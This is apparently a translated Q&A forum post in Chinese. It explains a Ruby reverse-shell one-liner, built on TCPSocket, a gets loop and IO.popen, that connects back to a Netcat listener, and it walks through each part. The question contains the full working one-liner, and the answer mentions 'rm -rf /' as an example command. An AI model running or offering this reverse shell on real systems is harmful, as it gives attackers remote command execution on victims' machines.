Ruby单线故障?

Nic*_*ole 1 ruby shell command-line ruby-on-rails netcat

我是Ruby的新手,并试图更好地理解这个反向shell单线程,旨在连接回Netcat监听器.

有人可以尝试打破命令并解释一些代码实际上做了什么吗?例如,我知道"TCPSocket.new"创建了新的TCP套接字,但是什么是"cmd = c.gets","IO.popen","| io | c.print io.read"等等.什么是while循环的目的?

ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
Run Code Online (Sandbox Code Playgroud)

ell*_*tcm 6

好吧,让我们打破这个.

ruby
Run Code Online (Sandbox Code Playgroud)

运行ruby解释器,你可能知道那一部分

-rsocket
Run Code Online (Sandbox Code Playgroud)

相当于require "socket"(r要求)

-e "some string"
Run Code Online (Sandbox Code Playgroud)

some string作为ruby脚本运行(e用于执行)

while(cmd=c.gets)
Run Code Online (Sandbox Code Playgroud)

正在说"while gets(获取字符串并包括下一个换行符)从连接中返回一些内容c,即当有数据进入时,将其分配给cmd和...

IO.popen(cmd,'r'){|io|c.print io.read}
Run Code Online (Sandbox Code Playgroud)

.. cmd作为shell命令运行,读取输出,然后print返回到连接c.

因此,有效地,通过网络接收命令(如ls .rm -rf /),读取它,运行它,获取输出并将其发回.继续这样做,直到另一方停止发送命令.

因为gets会阻塞并等待下一行进来,这个单行将坐在那里等待连接关闭.

可能不希望让其他人在该连接上发送命令,因为它会直接在您的计算机上运行它们发送的任何内容,尽管这可能是"反向shell"的意思.